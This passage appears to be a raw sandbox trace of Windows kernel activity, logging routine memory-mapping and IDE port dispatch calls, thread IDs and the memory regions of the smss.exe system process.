Priority=0xfffff80000000000) returned 0xfffff88002cf5000 [0068.006] IdePortDispatch () returned 0x103 [0068.006] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80028d2400, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0068.007] IdePortDispatch () returned 0x103 [0068.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4240, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffffa8000000000) returned 0xfffff88002d35000 [0068.007] IdePortDispatch () returned 0x103 [0068.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1e17b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d55000 [0068.008] IdePortDispatch () returned 0x103 [0068.008] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800b15b7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d75000 [0068.008] IdePortDispatch () returned 0x103 [0068.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d47f7b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d95000 [0068.009] IdePortDispatch () returned 0x103 [0068.009] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027e7ec0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0068.010] IdePortDispatch () returned 0x103 [0068.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027b4680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0068.010] IdePortDispatch () returned 0x103 [0068.010] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0068.011] IdePortDispatch () returned 0x103 [0068.011] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003480000 [0068.011] IdePortDispatch () returned 0x103 [0068.012] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80027af3d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0068.012] IdePortDispatch () returned 0x103 [0068.590] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a1c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0068.590] IdePortDispatch () returned 0x103 [0068.591] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800387a4c0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0068.591] IdePortDispatch () returned 0x103 [0068.592] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034c83a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a0000 [0068.592] IdePortDispatch () returned 0x103 Thread: id = 48 os_tid = 0x80 Thread: id = 49 os_tid = 0x12c Thread: id = 51 os_tid = 0x14c Thread: id = 52 os_tid = 0x150 Thread: id = 53 os_tid = 0x154 Thread: id = 54 os_tid = 0x158 Thread: id = 63 os_tid = 0x68 Thread: id = 75 os_tid = 0x1b0 Thread: id = 83 os_tid = 0xa8 [0073.628] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800355e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0073.628] IdePortDispatch () returned 0x103 [0073.629] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800355ebc0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ce000 [0073.629] IdePortDispatch () returned 0x103 [0073.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003560c20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0073.646] IdePortDispatch () returned 0x103 [0073.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0073.646] IdePortDispatch () returned 0x103 [0073.647] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035609a0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c21000 [0073.647] IdePortDispatch () returned 0x103 [0073.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800355ebc0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c40000 [0073.648] IdePortDispatch () returned 0x103 [0073.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003560c20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0073.649] IdePortDispatch () returned 0x103 [0078.346] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800366e8d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0078.346] IdePortDispatch () returned 0x103 [0082.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035007f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b28000 [0082.617] IdePortDispatch () returned 0x103 [0083.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800370a010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8a000 [0083.717] IdePortDispatch () returned 0x103 [0084.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003761010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6a000 [0084.445] IdePortDispatch () returned 0x103 [0085.973] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c5f7e10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c33000 [0085.974] IdePortDispatch () returned 0x103 [0085.997] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c5f7b80, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c53000 [0085.997] IdePortDispatch () returned 0x103 [0086.002] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037af010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c73000 [0086.002] IdePortDispatch () returned 0x103 [0086.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80037ae430, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd3000 [0086.007] IdePortDispatch () returned 0x103 [0086.502] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800230e010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3d000 [0086.503] IdePortDispatch () returned 0x103 [0089.693] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003821c90, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b30000 [0089.693] IdePortDispatch () returned 0x103 [0095.197] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003891240, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0095.197] IdePortDispatch () returned 0x103 [0097.968] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8002a3dd80, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034c7000 [0097.968] IdePortDispatch () returned 0x103 [0101.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003965970, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350d000 [0101.152] IdePortDispatch () returned 0x103 [0102.662] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003928730, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c92000 [0102.663] IdePortDispatch () returned 0x103 [0106.025] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800367d3f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bba000 [0106.025] IdePortDispatch () returned 0x103 [0109.747] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003957220, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003529000 [0109.747] IdePortDispatch () returned 0x103 [0112.791] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c35f950, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1b000 [0112.791] IdePortDispatch () returned 0x103 [0115.498] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003ba0780, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003535000 [0115.499] IdePortDispatch () returned 0x103 Thread: id = 89 os_tid = 0x8c [0074.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d9fdb80, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d52000 [0074.015] IdePortDispatch () returned 0x103 [0074.015] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80035eb2d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d72000 [0074.016] IdePortDispatch () returned 0x103 [0074.017] IdePortDispatch () returned 0x103 [0074.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d396010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d93000 [0074.018] IdePortDispatch () returned 0x103 [0074.018] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d9fd680, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0074.019] IdePortDispatch () returned 0x103 [0074.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3969d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0074.020] IdePortDispatch () returned 0x103 [0074.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d396010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0074.020] IdePortDispatch () returned 0x103 [0074.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800343bd20, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bef000 [0074.055] IdePortDispatch () returned 0x103 [0074.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3961d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0074.056] IdePortDispatch () returned 0x103 [0074.056] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3964d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c20000 [0074.056] IdePortDispatch () returned 0x103 [0074.069] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1799d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9d000 [0074.069] IdePortDispatch () returned 0x103 [0074.070] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d3961d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003400000 [0074.070] IdePortDispatch () returned 0x103 [0074.080] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1794d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c75000 [0074.081] IdePortDispatch () returned 0x103 [0074.081] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800d1799d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c95000 [0074.081] IdePortDispatch () returned 0x103 [0080.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034ea010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003577000 [0080.132] IdePortDispatch () returned 0x103 [0080.133] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80034e9610, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003597000 [0080.133] IdePortDispatch () returned 0x103 [0083.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80036f2230, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bde000 [0083.396] IdePortDispatch () returned 0x103 [0083.396] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c4d000 [0083.397] IdePortDispatch () returned 0x103 [0083.397] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c6d000 [0083.397] IdePortDispatch () returned 0x103 [0084.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce5000 [0084.717] IdePortDispatch () returned 0x103 [0084.717] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d05000 [0084.718] IdePortDispatch () returned 0x103 [0086.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c93000 [0086.003] IdePortDispatch () returned 0x103 [0086.004] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003511b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb3000 [0086.004] IdePortDispatch () returned 0x103 [0090.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003148000 [0090.262] IdePortDispatch () returned 0x103 [0090.262] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003168000 [0090.263] IdePortDispatch () returned 0x103 [0096.951] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004066000 [0096.951] IdePortDispatch () returned 0x103 [0096.951] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004086000 [0096.952] IdePortDispatch () returned 0x103 [0101.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004062000 [0101.393] IdePortDispatch () returned 0x103 [0101.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004082000 [0101.394] IdePortDispatch () returned 0x103 [0107.828] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0107.829] IdePortDispatch () returned 0x103 [0107.829] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a5000 [0107.829] IdePortDispatch () returned 0x103 [0112.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003512b10, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd4000 [0112.878] IdePortDispatch () returned 0x103 [0112.878] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003513010, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c00000 [0112.879] IdePortDispatch () returned 0x103 Thread: id = 95 os_tid = 0x120 Thread: id = 97 os_tid = 0x84 Thread: id = 123 os_tid = 0x90 Thread: id = 125 os_tid = 0x60 Thread: id = 126 os_tid = 0x74 Thread: id = 131 os_tid = 0x28c Thread: id = 158 os_tid = 0x300 Thread: id = 179 os_tid = 0x88 Thread: id = 216 os_tid = 0x3f4 Thread: id = 255 os_tid = 0x38c Thread: id = 276 os_tid = 0xb4 Thread: id = 298 os_tid = 0x4ac Thread: id = 315 os_tid = 0x500 Thread: id = 373 os_tid = 0x508 Thread: id = 377 os_tid = 0x504 Thread: id = 380 os_tid = 0x61c Thread: id = 382 os_tid = 0x624 Thread: id = 398 os_tid = 0x664 Thread: id = 409 os_tid = 0x690 Thread: id = 432 os_tid = 0x6f4 [0104.554] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352d000 [0104.554] IdePortDispatch () returned 0x103 Thread: id = 441 os_tid = 0x718 Thread: id = 458 os_tid = 0x75c Thread: id = 460 os_tid = 0x764 Thread: id = 462 os_tid = 0x76c Thread: id = 463 os_tid = 0x770 Thread: id = 464 os_tid = 0x774 Thread: id = 466 os_tid = 0x77c Thread: id = 492 os_tid = 0x1c [0110.062] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002f65740, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c05000 [0110.062] IdePortDispatch () returned 0x103 Thread: id = 502 os_tid = 0x44c Thread: id = 532 os_tid = 0xcc [0116.147] IdePortDispatch () returned 0x103 [0116.148] IdePortDispatch () returned 0x103 [0122.157] IdePortDispatch () returned 0x103 [0122.176] IdePortDispatch () returned 0x103 Thread: id = 533 os_tid = 0xc8 Process: id = "3" image_name = "smss.exe" filename = "c:\\windows\\system32\\smss.exe" page_root = "0x2cf59000" os_pid = "0xfc" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x4" cmd_line = "\\SystemRoot\\System32\\smss.exe" cur_dir = "C:\\Windows" Region: id = 304 start_va = 0x0 end_va = 0xfffff entry_point = 0x0 region_type = private name = "private_0x (null)" filename = "" Region: id = 305 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 306 start_va = 0x110000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 307 start_va = 0x48160000 end_va = 0x4817ffff entry_point = 0x48177d9c region_type = mapped_file name = "smss.exe" filename = "\\Windows\\System32\\smss.exe" Region: id = 308 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 309 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 310 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 311 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 312 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 313 start_va = 0x7fffffd6000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 314 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Thread: id = 29 os_tid = 0x100 [0065.603] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\smss.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.603] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0065.603] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002dfb000 [0065.603] IdePortDispatch () returned 0x103 [0065.637] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdd000 [0065.638] IdePortDispatch () returned 0x103 [0065.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cde000 [0065.638] IdePortDispatch () returned 0x103 [0065.641] IdePortDispatch () returned 0x103 [0065.642] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002e253f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d21000 [0065.642] IdePortDispatch () returned 0x103 [0065.643] IdePortDispatch () returned 0x103 [0065.643] IdePortDispatch () returned 0x103 [0065.643] IdePortDispatch () returned 0x103 [0066.151] IdePortDispatch () returned 0x103 [0066.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002e253f0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039ed000 [0066.152] IdePortDispatch () returned 0x103 [0066.152] IdePortDispatch () returned 0x103 [0066.153] IdePortDispatch () returned 0x103 [0066.153] IdePortDispatch () returned 0x103 [0066.153] IdePortDispatch () returned 0x103 [0066.205] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0066.205] IdePortDispatch () returned 0x103 [0066.221] IdePortDispatchPnp () returned 0x0 [0066.226] IdePortDispatchPnp () returned 0x0 [0066.227] IdePortDispatchPnp () returned 0x0 [0066.228] IdePortDispatchPnp () returned 0x0 [0066.229] IdePortDispatchPnp () returned 0x0 [0066.241] IdePortDispatchPnp () returned 0x0 [0066.242] IdePortDispatchPnp () returned 0x0 [0066.244] IdePortDispatchDeviceControl () returned 0xc0000010 [0066.245] IdePortDispatchDeviceControl () returned 0xc0000010 [0066.249] IdePortDispatch () returned 0x103 [0066.251] IdePortDispatch () returned 0x103 [0066.253] IdePortDispatch () returned 0x103 [0066.254] IdePortDispatch () returned 0x103 [0066.254] IdePortDispatch () returned 0x103 [0066.255] IdePortDispatch () returned 0x103 [0066.260] IdePortDispatch () returned 0x103 [0066.262] IdePortDispatch () returned 0x103 [0066.264] IdePortDispatch () returned 0x103 [0066.267] IdePortDispatch () returned 0x103 [0066.286] IdePortDispatch () returned 0x103 [0066.286] IdePortDispatch () returned 0x103 [0066.287] IdePortDispatch () returned 0x103 [0066.287] IdePortDispatch () returned 0x103 [0066.288] IdePortDispatch () returned 0x103 [0066.288] IdePortDispatchDeviceControl () returned 0xc00000bb [0066.290] IdePortDispatch () returned 0x103 [0066.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffff88002e24f60, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359a000 [0066.292] IdePortDispatch () returned 0x103 [0066.292] IdePortDispatch () returned 0x103 [0066.293] IdePortDispatch () returned 0x103 [0066.293] IdePortDispatch () returned 0x103 [0066.305] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.319] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.328] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.333] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.340] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.352] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.361] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.382] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0066.421] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, 